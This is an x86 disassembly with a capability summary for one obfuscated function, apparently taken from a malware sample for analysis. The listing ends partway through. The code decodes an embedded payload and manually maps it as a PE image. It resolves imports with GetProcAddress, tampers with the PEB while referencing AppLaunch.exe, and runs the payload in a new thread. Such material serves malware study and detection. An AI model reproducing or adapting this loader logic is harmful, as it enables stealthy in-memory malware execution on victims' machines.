Function at 0x4013d0
Capabilities:
Access peb ldr_data
Check os version
Create thread
Get number of processors
Link function at runtime on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x1e1c
call fcn.00438f70
mov eax, dword [0x4642c0]
lea ebp, [esp + 0x218]
xor eax, esp
mov dword [esp + 0x1e18], eax
push 0x1c00
push 0x458228
push ebp
call fcn.0043be00
add esp, 0xc
mov eax, dword [0x466400]
mov edx, 0xa99a617f
mov dword [esp + 0x1a0], 0x1c00
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x4663fc], 0xa
setl cl
or cl, al
mov eax, 0xeaa93330
mov ecx, 0x27047624
cmove eax, edx
cmove ecx, edx
mov edx, 0xe7196c95
nop dword [eax]
cmp edx, 0xeaa9332f
jle 0x401480
cmp edx, 0xeaa93330
je 0x401494
cmp edx, 0xe3dc154
je 0x4014a2
cmp edx, 0x27047624
jne 0x401450
mov edx, eax
jmp 0x401450
cmp edx, 0xa99a617f
je 0x40149b
cmp edx, 0xe7196c95
jne 0x401450
mov edx, ecx
jmp 0x401450
mov edx, 0xe3dc154
jmp 0x401450
mov edx, 0x27047624
jmp 0x401450
mov dword [esp + 0x190], ebp
xor ecx, ecx
xor edi, edi
mov ecx, dword [esp + 0x1a0]
mov edi, dword [esp + 0x190]
not byte [edi]
add byte [edi], 0x43
mov eax, 0xff
sub byte [edi], 0x56
imul byte [edi]
inc edi
loop 0x4014bb
mov eax, 0x17a3dc7a
jmp 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x2923a8c4
mov esi, 0x6c3b9062
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne edi, esi
test eax, edx
mov eax, edi
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edi
nop word cs:[eax + eax]
cmp eax, 0xcf4c1df
jle 0x4015a0
cmp eax, 0x3f4a2f08
jle 0x401640
cmp eax, 0x59e6a78f
jg 0x401742
cmp eax, 0x4ae4f703
jle 0x4018f7
cmp eax, 0x52f8e756
jg 0x401bd1
cmp eax, 0x50a0956c
jle 0x4020fc
cmp eax, 0x519451c0
jle 0x40286e
cmp eax, 0x519451c1
je 0x403547
cmp eax, 0x52cc3fa5
je 0x40355c
cmp eax, 0x52e9cbaa
jne 0x401520
cmp dword [esp + 0x168], 0
mov eax, 0xaf8ad77
mov ecx, 0xfa1a731b
cmove eax, ecx
jmp 0x401520
cmp eax, 0xc867191b
jle 0x4016c0
cmp eax, 0xeb50b08f
jle 0x4017b5
cmp eax, 0xf688e6fc
jle 0x40197a
cmp eax, 0x23917e1
jg 0x401c1f
cmp eax, 0xfc89c8cb
jle 0x40213d
cmp eax, 0x977225
jle 0x4028a6
cmp eax, 0x977226
je 0x40357c
cmp eax, 0xb65657
je 0x403586
cmp eax, 0xeef0c9
jne 0x401520
push 0x400
push ebp
push dword [esp + 8]
vzeroupper
call fcn.0043be00
add esp, 0xc
mov ecx, dword [esp + 4]
movzx eax, word [ecx + 0x14]
lea eax, [ecx + eax + 0x18]
mov dword [esp + 0x3c], eax
mov eax, 0x54b4dd4d
jmp 0x401520
cmp eax, 0x284021ce
jle 0x40181c
cmp eax, 0x35babf87
jle 0x4019d6
cmp eax, 0x3a758f54
jg 0x401c7c
cmp eax, 0x37967e7e
jle 0x402168
cmp eax, 0x387a4234
jle 0x4028ce
cmp eax, 0x387a4235
je 0x403652
cmp eax, 0x38e5a1c5
je 0x40367a
cmp eax, 0x394fbb20
jne 0x401520
mov eax, dword [esp + 0x114]
mov dword [esp + 0x5c], 0
add eax, 8
mov dword [esp + 0x44], eax
mov eax, 0xe2638699
jmp 0x401520
cmp eax, 0xa9024dda
jle 0x401873
cmp eax, 0xb9d91703
jle 0x401a2a
cmp eax, 0xc02c2a03
jg 0x401cf1
cmp eax, 0xbdd81db9
jle 0x40219e
cmp eax, 0xbec48379
jle 0x402910
cmp eax, 0xbec4837a
je 0x403684
cmp eax, 0xbf34a943
je 0x40369b
cmp eax, 0xc007b76e
jne 0x401520
mov eax, dword [esp + 0x110]
mov eax, dword [eax]
add eax, 0xfffffff8
shr eax, 1
mov dword [esp + 0xac], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0x114], eax
mov eax, 0x394fbb20
jmp 0x401520
cmp eax, 0x6c3b9061
jle 0x401a86
cmp eax, 0x7748436c
jg 0x401d47
cmp eax, 0x71cb1482
jle 0x4021d9
cmp eax, 0x730c0b88
jle 0x4029cb
cmp eax, 0x730c0b89
je 0x4036bf
cmp eax, 0x7548def3
je 0x4036d4
cmp eax, 0x75bc770b
jne 0x401520
mov eax, dword [0x4663e8]
mov edi, 0xef9f530b
mov esi, 0xe02ab89b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xe02ab89b
jmp 0x404562
cmp eax, 0xdc593988
jg 0x401ad2
cmp eax, 0xd0c90f71
jle 0x401d8c
cmp eax, 0xd61a7038
jle 0x40222c
cmp eax, 0xd6f61315
jle 0x402a25
cmp eax, 0xd6f61316
je 0x4036f3
cmp eax, 0xd6f8feca
je 0x4036fd
cmp eax, 0xd8c9211b
jne 0x401520
cmp dword [esp + 0x15c], 0
mov eax, 0xdd9abada
mov ecx, 0x365e60c7
cmove eax, ecx
jmp 0x401520
cmp eax, 0x1b2e90d1
jg 0x401b1e
cmp eax, 0x13a8110d
jle 0x401dd2
cmp eax, 0x188dfc1f
jle 0x402265
cmp eax, 0x18cc86ee
jle 0x402a61
cmp eax, 0x18cc86ef
je 0x403747
cmp eax, 0x18f44693
je 0x403751
cmp eax, 0x1a221efa
jne 0x401520
mov eax, 0x7748436d
jmp 0x401520
cmp eax, 0x9bd7f8c3
jg 0x401b75
cmp eax, 0x8e3269d7
jle 0x401e15
cmp eax, 0x91f3b4bb
jle 0x4022a4
cmp eax, 0x938f0dd6
jle 0x402ac7
cmp eax, 0x938f0dd7
je 0x40379b
cmp eax, 0x94b672d6
je 0x4037a5
cmp eax, 0x96ea80c2
jne 0x401520
mov eax, dword [esp + 0xec]
add eax, dword [esp + 0xf0]
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0xf4], eax
mov eax, dword [esp + 0x24]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x14]
add eax, ebp
mov dword [esp + 0xf8], eax
mov eax, 0x6df8f368
jmp 0x401520
cmp eax, 0x455fdace
jle 0x401e75
cmp eax, 0x482a9925
jle 0x4022cf
cmp eax, 0x48a25129
jle 0x402af4
cmp eax, 0x48a2512a
je 0x4037c0
cmp eax, 0x49e0d470
je 0x4037ca
cmp eax, 0x4ad7db1e
jne 0x401520
mov eax, dword [esp + 4]
mov edi, 0x2943a235
vxorps xmm0, xmm0, xmm0
vmovups xmmword [esp + 0x190], xmm0
mov esi, 0xbec4837a
add eax, 0x78
mov dword [esp + 0xc4], eax
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xfffffffe
test ecx, eax
mov eax, 0xbec4837a
jmp 0x404562
cmp eax, 0xeebb6f4f
jle 0x401eb6
cmp eax, 0xf2bd3498
jle 0x4022fa
cmp eax, 0xf53838a8
jle 0x402b1c
cmp eax, 0xf53838a9
je 0x4037dc
cmp eax, 0xf586d065
je 0x4037e6
cmp eax, 0xf58e25db
jne 0x401520
mov eax, dword [esp + 4]
cmp dword [eax + 0xe8], 0
mov eax, 0x373bc9bd
setne byte [esp + 0xf]
jmp 0x401520
cmp eax, 0x2e585ce0
jle 0x401ef7
cmp eax, 0x31d67013
jle 0x40234f
cmp eax, 0x333e9dc4
jle 0x402b6e
cmp eax, 0x333e9dc5
je 0x4037f8
cmp eax, 0x334e10a1
je 0x40380d
cmp eax, 0x33e70e45
jne 0x401520
mov eax, 0x3a9f9b20
mov dword [esp + 0x74], 1
jmp 0x401520
cmp eax, 0xaf6c8605
jle 0x401f31
cmp eax, 0xb4c9a014
jle 0x402381
cmp eax, 0xb5497518
jle 0x402b96
cmp eax, 0xb5497519
je 0x403837
cmp eax, 0xb56794d7
je 0x40384c
cmp eax, 0xb5c651b7
jne 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x646e9d65
mov esi, 0xed216440
jmp 0x4014e9
cmp eax, 0x619727e0
jle 0x401f83
cmp eax, 0x663a739d
jle 0x4023b9
cmp eax, 0x687a1aed
jle 0x402bb6
cmp eax, 0x687a1aee
je 0x40385e
cmp eax, 0x689811a7
je 0x40389f
cmp eax, 0x69b62d7e
jne 0x401520
mov eax, 0xd1bfb8ba
jmp 0x401520
cmp eax, 0xe188b50a
jle 0x401fcf
cmp eax, 0xe3326007
jle 0x4023f4
cmp eax, 0xe8823832
jle 0x402be3
cmp eax, 0xe8823833
je 0x4038a9
cmp eax, 0xe91cff7f
je 0x4038b3
cmp eax, 0xeaf59cf1
jne 0x401520
mov eax, 0x2e585ce1
jmp 0x401520
cmp eax, 0x23602d2f
jle 0x40201a
cmp eax, 0x2554b631
jle 0x40241f
cmp eax, 0x2671d92a
jle 0x402c03
cmp eax, 0x2671d92b
je 0x4038eb
cmp eax, 0x272f51a8
je 0x4038f5
cmp eax, 0x282f754a
jne 0x401520
mov eax, dword [esp + 0x60]
mov dword [esp + 0x130], eax
mov eax, 0xdc8309f1
jmp 0x401520
cmp eax, 0xa0be121f
jle 0x402057
cmp eax, 0xa4603e61
jle 0x402466
cmp eax, 0xa69e310f
jle 0x402c2b
cmp eax, 0xa69e3110
je 0x40390e
cmp eax, 0xa87a998d
je 0x403931
cmp eax, 0xa8a0258a
jne 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0xf586d065
mov esi, 0xa9024ddb
jmp 0x4014e9
cmp eax, 0x56f1c6f5
jle 0x4024aa
cmp eax, 0x5772ba96
jle 0x402c75
cmp eax, 0x5772ba97
je 0x403946
cmp eax, 0x57b58d2d
je 0x403958
cmp eax, 0x57fdf525
jne 0x401520
cmp byte [esp + 0x32], 0
mov eax, 0x365e60c7
mov ecx, 0x25eaec19
cmovne eax, ecx
jmp 0x401520
cmp eax, 0x62431a0
jle 0x4024e5
cmp eax, 0xaabaa83
jle 0x402ca5
cmp eax, 0xaabaa84
je 0x403962
cmp eax, 0xaf8ad77
je 0x40397c
cmp eax, 0xc0c66c4
jne 0x401520
mov eax, dword [0x4663e8]
mov esi, 0x18f44693
mov edi, 0x17c6d56d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x17c6d56d
jmp 0x4045e4
cmp eax, 0x3b8cba81
jle 0x402525
cmp eax, 0x3c2d3606
jle 0x402cc5
cmp eax, 0x3c2d3607
je 0x40398e
cmp eax, 0x3c6bd060
je 0x4039b4
cmp eax, 0x3d60bdd7
jne 0x401520
push 0
push 0
push 0
push dword [esp + 0x184]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
movzx ecx, byte [esp + 0xf]
mov dword [esp + 0xa8], eax
mov edx, 0x37c5c057
mov eax, ecx
xor al, 0xfe
test al, cl
mov eax, 0x4b8a4099
cmove eax, edx
jmp 0x401520
cmp eax, 0xc4300f41
jle 0x402558
cmp eax, 0xc639ea03
jle 0x402ced
cmp eax, 0xc639ea04
je 0x4039de
cmp eax, 0xc6c75ac2
je 0x4039fd
cmp eax, 0xc7ea7b30
jne 0x401520
mov eax, dword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov eax, dword [esp + 0x48]
inc eax
mov dword [esp + 0x5c], eax
mov eax, 0x188dfc20
jmp 0x401520
cmp eax, 0x7a302854
jle 0x402593
cmp eax, 0x7c0e5092
jle 0x402d0d
cmp eax, 0x7c0e5093
je 0x403a07
cmp eax, 0x7ebf7617
je 0x403a11
cmp eax, 0x7f297a57
jne 0x401520
inc dword [esp + 0x20]
mov eax, 0xa328d3bc
jmp 0x401520
cmp eax, 0xcb58abea
jle 0x4025e8
cmp eax, 0xcda18cfc
jle 0x402d3d
cmp eax, 0xcda18cfd
je 0x403a1b
cmp eax, 0xcdd3c5ce
jne 0x40478b
mov eax, dword [esp + 0x18]
and eax, 0x20000000
mov dword [esp + 0x164], eax
mov eax, 0x3b8d5d50
jmp 0x401520
cmp eax, 0x122fd555
jg 0x40261e
cmp eax, 0x116de30c
jg 0x402d6b
cmp eax, 0xcf4c1e0
je 0x403a25
cmp eax, 0x114117b2
jne 0x401520
cmp byte [esp + 0x31], 0
mov eax, 0x4f5a9a69
mov ecx, 0x333e9dc5
cmovne eax, ecx
jmp 0x401520
cmp eax, 0x857b0b5b
jg 0x402649
cmp eax, 0x820a3881
jg 0x402dc7
cmp eax, 0x8076b58a
je 0x403a4b
cmp eax, 0x80a3dca8
jne 0x401520
mov edx, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0x9cb2490b
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x50a0956d
jmp 0x404712
cmp eax, 0x42d0c17b
jg 0x402684
cmp eax, 0x417e4805
jg 0x402de7
cmp eax, 0x3f4a2f09
je 0x403a55
cmp eax, 0x3fe637d8
jne 0x401520
mov eax, dword [esp + 8]
mov dword [esp + 0x14c], eax
mov eax, 0xa99903aa
jmp 0x401520
cmp eax, 0xed21643f
jg 0x4026b6
cmp eax, 0xebf2d7e0
jg 0x402e07
cmp eax, 0xeb50b090
je 0x403a67
cmp eax, 0xeb5cb82b
jne 0x401520
mov eax, dword [esp + 0x44]
mov dword [esp + 0x9c], eax
mov eax, 0xd6d15312
jmp 0x401520
cmp eax, 0x2b4f6f25
jg 0x4026e1
cmp eax, 0x2943a234
jg 0x402e2f
cmp eax, 0x284021cf
je 0x403a71
cmp eax, 0x2923a8c4
jne 0x401520
inc dword [esp + 0x40]
mov eax, 0x6c3b9062
jmp 0x401520
cmp eax, 0xaa6b6d0d
jg 0x40270c
cmp eax, 0xa99903a9
jg 0x402e69
cmp eax, 0xa9024ddb
je 0x403ac6
cmp eax, 0xa905f7ae
jne 0x401520
mov eax, dword [0x4663e8]
mov esi, 0xaf6c8606
mov edi, 0x857b0b5c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x857b0b5c
jmp 0x4045e4
cmp eax, 0x5d0b32ac
jg 0x40274c
cmp eax, 0x5be31a07
jg 0x402e9f
cmp eax, 0x59e6a790
je 0x403b0d
cmp eax, 0x5a2e31b0
jne 0x401520
mov eax, dword [esp + 0x34]
mov dword [esp + 0x16c], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x170], eax
mov eax, 0xb65657
jmp 0x401520
cmp eax, 0xdd9abad9
jg 0x4027c0
cmp eax, 0xdc8309f0
jg 0x402ecc
cmp eax, 0xdc593989
je 0x403b17
cmp eax, 0xdc73a308
jne 0x401520
mov eax, dword [0x4663e8]
mov esi, 0x11d0232f
mov edi, 0x49e0d470
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x49e0d470
jmp 0x4045dc
cmp eax, 0x1f39cb79
jg 0x4027fc
cmp eax, 0x1e91dcb0
jg 0x402ef9
cmp eax, 0x1b2e90d2
je 0x403b58
cmp eax, 0x1de8a3bb
jne 0x401520
mov eax, dword [esp]
mov dword [esp + 0x7c], eax
mov eax, 0x79eb0d2f
jmp 0x401520
cmp eax, 0x9d883105
jg 0x402827
cmp eax, 0x9d739b57
jg 0x402f29
cmp eax, 0x9bd7f8c4
je 0x403b62
cmp eax, 0x9cb2490b
jne 0x401520
mov eax, dword [esp + 0x68]
mov ecx, dword [esp + 0x40]
mov ebp, dword [eax + ecx*4]
movzx eax, bp
push eax
push dword [esp + 0x58]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x50a0956d
mov dword [esp + 0x4c], esi
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xb9d91704
cmovne edi, ebx
test eax, edx
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
add ebp, dword [esp]
test esi, esi
setne byte [esp + 0x30]
mov dword [esp + 0x64], ebp
lea ebp, [esp + 0x218]
jmp 0x401520
cmp eax, 0x4e453dcf
jg 0x402f59
cmp eax, 0x4ae4f704
je 0x403b6c
cmp eax, 0x4b8a4099
jne 0x401520
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x58]
mov dword [esp + 0x17c], eax
mov eax, 0xbf34a943
jmp 0x401520
cmp eax, 0xfa8a8ad5
jg 0x402f8d
cmp eax, 0xf688e6fd
je 0x403bd2
cmp eax, 0xfa1a731b
jne 0x401520
mov eax, 0x18cc86ef
jmp 0x401520
cmp eax, 0x36713f2a
jg 0x402fad
cmp eax, 0x35babf88
je 0x403bdc
cmp eax, 0x365e60c7
jne 0x401520
mov eax, dword [esp + 0x18]
mov dword [esp + 0x160], eax
mov eax, 0xc3a315c6
jmp 0x401520
cmp eax, 0xbbb3c04c
jg 0x402ffe
cmp eax, 0xb9d91704
je 0x403c3c
cmp eax, 0xbb0b4282
jne 0x401520
mov eax, dword [esp + 0xcc]
mov eax, dword [eax]
mov dword [esp + 0xd0], eax
mov eax, 0x91f3b4bc
jmp 0x401520
cmp eax, 0x70696b49
jg 0x40301e
cmp eax, 0x6c3b9062
je 0x403c46
cmp eax, 0x6df8f368
jne 0x401520
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x3c]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
push dword [esp + 0xfc]
push dword [esp + 0xfc]
vzeroupper
call fcn.0043be00
add esp, 0xc
mov eax, 0x519451c1
jmp 0x401520
cmp eax, 0xd1bfb8b9
jg 0x403068
cmp eax, 0xd0c90f72
je 0x403c69
cmp eax, 0xd0ddf12b
jne 0x401520
mov eax, dword [esp + 0x90]
mov eax, dword [esp + 0x88]
mov eax, 0xfa8a8ad6
jmp 0x401520
cmp eax, 0x17c6d56c
jg 0x403088
cmp eax, 0x13a8110e
je 0x403c8f
cmp eax, 0x17a3dc7a
jne 0x401520
mov eax, dword [esp + 0x254]
add eax, ebp
mov dword [esp + 4], eax
mov dword [esp + 0xc0], eax
mov eax, 0xaca7106c
jmp 0x401520
cmp eax, 0x8f8893bf
jg 0x4030b0
cmp eax, 0x8e3269d8
je 0x403c99
cmp eax, 0x8f519ba8
jne 0x401520
mov eax, 0x1b2e90d2
jmp 0x401520
cmp eax, 0x468b2a27
jg 0x4030e0
cmp eax, 0x455fdacf
je 0x403ca3
cmp eax, 0x45959dee
jne 0x401520
mov eax, 0x96ea80c2
jmp 0x401520
cmp eax, 0xef9f530a
jg 0x403100
cmp eax, 0xeebb6f50
je 0x403cd7
cmp eax, 0xef279453
jne 0x401520
mov edx, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0x2dd3bc7
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa3006b81
jmp 0x404712
cmp eax, 0x30cf53a7
jg 0x403136
cmp eax, 0x2e585ce1
je 0x403ce1
cmp eax, 0x30727fdc
jne 0x401520
mov eax, dword [esp + 0xa0]
mov eax, 0x3b8cba82
jmp 0x401520
cmp eax, 0xb09a802d
jg 0x40316b
cmp eax, 0xaf6c8606
je 0x403d00
cmp eax, 0xafb70ec3
jne 0x401520
cmp byte [esp + 0x2b], 0
mov eax, 0xeef0c9
mov ecx, 0xcf4c1e0
cmovne eax, ecx
jmp 0x401520
cmp eax, 0x646e9d64
jg 0x40318b
cmp eax, 0x619727e1
je 0x403d3b
cmp eax, 0x64052c5f
jne 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x4764aee4
mov esi, 0x53d9ea1e
jmp 0x4014e9
cmp eax, 0xe2638698
jg 0x4031ab
cmp eax, 0xe188b50b
je 0x403d5a
cmp eax, 0xe1de5716
jne 0x401520
mov eax, 0xa69e3110
jmp 0x401520
cmp eax, 0x23c02bc1
jg 0x4031e7
cmp eax, 0x23602d30
je 0x403d79
cmp eax, 0x23bffc5b
jne 0x401520
mov eax, dword [0x4663e8]
mov esi, 0x3b8cba82
mov edi, 0x30727fdc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x30727fdc
jmp 0x4045e4
cmp eax, 0xa328d3bb
jg 0x403216
cmp eax, 0xa0be1220
je 0x403d83
cmp eax, 0xa3006b81
jne 0x401520
mov eax, dword [esp + 0x64]
add eax, 2
push eax
push dword [esp + 0x58]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x4c], eax
mov eax, 0x2dd3bc7
jmp 0x401520
cmp eax, 0x54b4dd4c
jg 0x403236
cmp eax, 0x52f8e757
je 0x403d9a
cmp eax, 0x53d9ea1e
jne 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x4764aee4
mov esi, 0x3ad1fe76
jmp 0x4014e9
cmp eax, 0x2647f7f
jg 0x403256
cmp eax, 0x23917e2
je 0x403db9
cmp eax, 0x2481291
jne 0x401520
mov eax, dword [esp + 0xc4]
vmovsd xmm0, qword [eax + 0x28]
mov eax, 0x3acb916a
vmovsd qword [esp + 0x188], xmm0
jmp 0x401520
cmp eax, 0x3acb9169
jg 0x4032ac
cmp eax, 0x3a758f55
je 0x403df4
cmp eax, 0x3a9f9b20
jne 0x401520
mov eax, 0xb4c9a015
mov dword [esp + 8], 1
jmp 0x401520
cmp eax, 0xc23a3d90
jg 0x4032cc
cmp eax, 0xc02c2a04
je 0x403dfe
cmp eax, 0xc02df7f1
jne 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x7f297a57
mov esi, 0xa328d3bc
jmp 0x4014e9
cmp eax, 0x799d41ba
jg 0x403305
cmp eax, 0x7748436d
je 0x403e21
cmp eax, 0x78c85a0a
jne 0x401520
mov edx, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0xbe23caea
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2e3cde41
jmp 0x404712
cmp eax, 0xc95b4b08
jg 0x403330
cmp eax, 0xc867191c
je 0x403e40
cmp eax, 0xc933c34f
jne 0x401520
mov eax, dword [esp + 0x44]
mov dword [esp + 0x11c], eax
mov eax, 0xde1f1f00
jmp 0x401520
cmp eax, 0x137011fb
jg 0x403350
cmp eax, 0x122fd556
je 0x403e52
cmp eax, 0x131fbb59
jne 0x401520
mov eax, 0x23bffc5b
jmp 0x401520
cmp eax, 0x8d40fd54
jg 0x403370
cmp eax, 0x857b0b5c
je 0x403e6c
cmp eax, 0x8b24de62
jne 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x23c02bc2
mov esi, 0xbdd81dba
jmp 0x4014e9
cmp eax, 0x44054a32
jg 0x403390
cmp eax, 0x42d0c17c
je 0x403e83
cmp eax, 0x4346abcb
jne 0x401520
mov eax, dword [esp + 0x8c]
mov eax, 0x5d6a4472
jmp 0x401520
cmp eax, 0xee1818d3
jg 0x4033b0
cmp eax, 0xed216440
je 0x403e8d
cmp eax, 0xed772144
jne 0x401520
mov eax, 0x938f0dd7
jmp 0x401520
cmp eax, 0x2d596ea2
jg 0x4033ec
cmp eax, 0x2b4f6f26
je 0x403ea7
cmp eax, 0x2c590485
jne 0x401520
mov eax, 0xc23a3d91
jmp 0x401520
cmp eax, 0xacb88cad
jg 0x40346c
cmp eax, 0xaa6b6d0e
je 0x403eca
cmp eax, 0xaca7106c
jne 0x401520
mov eax, dword [esp + 0xc0]
mov ecx, 0xa5217743
cmp dword [eax], 0x4550
mov eax, 0x33e70e45
cmove eax, ecx
jmp 0x401520
cmp eax, 0x60d32a0f
jg 0x40348c
cmp eax, 0x5d0b32ad
je 0x403ef0
cmp eax, 0x5d6a4472
jne 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x4346abcb
mov esi, 0xcabc0920
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne edi, esi
test eax, edx
mov edx, dword [esp + 0x8c]
mov eax, edi
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edi
add edx, 0x1c
mov dword [esp + 0x90], edx
jmp 0x401520
cmp eax, 0xdf7c9423
jg 0x4034b9
cmp eax, 0xdd9abada
je 0x403efa
cmp eax, 0xde1f1f00
jne 0x401520
mov eax, dword [esp + 0x11c]
add eax, 2
mov dword [esp + 0x120], eax
mov eax, 0xa87a998d
jmp 0x401520
cmp eax, 0x20889401
jg 0x4034d9
cmp eax, 0x1f39cb7a
je 0x403f0e
cmp eax, 0x204c40c5
jne 0x401520
mov eax, 0xaabaa84
jmp 0x401520
cmp eax, 0x9ed07833
jg 0x40350b
cmp eax, 0x9d883106
je 0x403f34
cmp eax, 0x9d922217
jne 0x401520
mov eax, dword [0x4663e8]
mov esi, 0x18a8fe0f
mov edi, 0xb5497519
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb5497519
jmp 0x4045e4
cmp eax, 0x50a0956d
je 0x403f4e
cmp eax, 0x517718e8
jne 0x401520
mov eax, dword [esp]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 4]
add eax, 0x34
mov dword [esp + 0x104], eax
mov eax, 0xf2bd3499
jmp 0x401520
cmp eax, 0xfc89c8cc
je 0x403f88
cmp eax, 0x7f450c
jne 0x401520
mov dword [esp + 8], 0x10
mov eax, 0x663a739e
jmp 0x401520
cmp eax, 0x37967e7f
je 0x403f92
cmp eax, 0x37c5c057
jne 0x401520
push 0xffffffffffffffff
push dword [esp + 0xac]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esp + 0x74], 0
mov dword [esp + 8], 1
mov eax, 0xa44bd645
jmp 0x401520
cmp eax, 0xbdd81dba
je 0x403fcd
cmp eax, 0xbe23caea
jne 0x401520
mov eax, dword fs:[0x30]
vmovups ymm1, ymmword [0x459e48]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x459e68]
mov esi, 0xa0a28db
mov ecx, dword [eax + 0xc]
mov edi, dword [ecx + 0x14]
mov ecx, dword [esp]
mov dword [eax + 8], ecx
mov dword [edi + 0x10], ecx
vmovups ymmword [esp + 0x1c0], ymm1
vmovups ymm1, ymmword [0x459e80]
vmovups ymmword [esp + 0x1e0], ymm2
vmovups ymmword [esp + 0x1a0], ymm0
mov edx, dword [0x4663e8]
mov ecx, dword [0x4663e4]
lea eax, [edx + 1]
imul eax, edx
vmovups ymmword [esp + 0x1f8], ymm1
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2e3cde41
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
add edi, 0x1c
mov dword [esp + 0x58], edi
jmp 0x401520
cmp eax, 0x71cb1483
je 0x404005
cmp eax, 0x724441bb
jne 0x401520
mov eax, dword [esp + 0x9c]
mov edi, 0x70696b4a
mov esi, 0x137011fc
movzx eax, word [eax]
mov ecx, eax
xor ecx, 0xfffff000
and ecx, eax
movzx eax, cx
mov ecx, dword [esp + 0x1c]
mov edx, dword [ecx + eax]
add edx, dword [esp + 0x14]
mov dword [ecx + eax], edx
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x137011fc
jmp 0x40455a
cmp eax, 0xd61a7039
je 0x40402d
cmp eax, 0xd6d15312
jne 0x401520
mov eax, dword [0x4663e8]
mov esi, 0x724441bb
mov edi, 0x137011fc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x137011fc
jmp 0x4045e4
cmp eax, 0x188dfc20
je 0x40404a
cmp eax, 0x18a8fe0f
jne 0x401520
mov edx, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0xf53838a9
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb5497519
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
mov esi, dword [esp + 0x84]
cmp ecx, 0xa
cmovge eax, edx
mov dword [esp + 0x24], esi
jmp 0x401520
cmp eax, 0x91f3b4bc
je 0x404072
cmp eax, 0x9252c5fb
jne 0x401520
cmp byte [esp + 0x33], 0
mov eax, 0x94b672d6
mov ecx, 0x730c0b89
cmovne eax, ecx
jmp 0x401520
cmp eax, 0x482a9926
je 0x404087
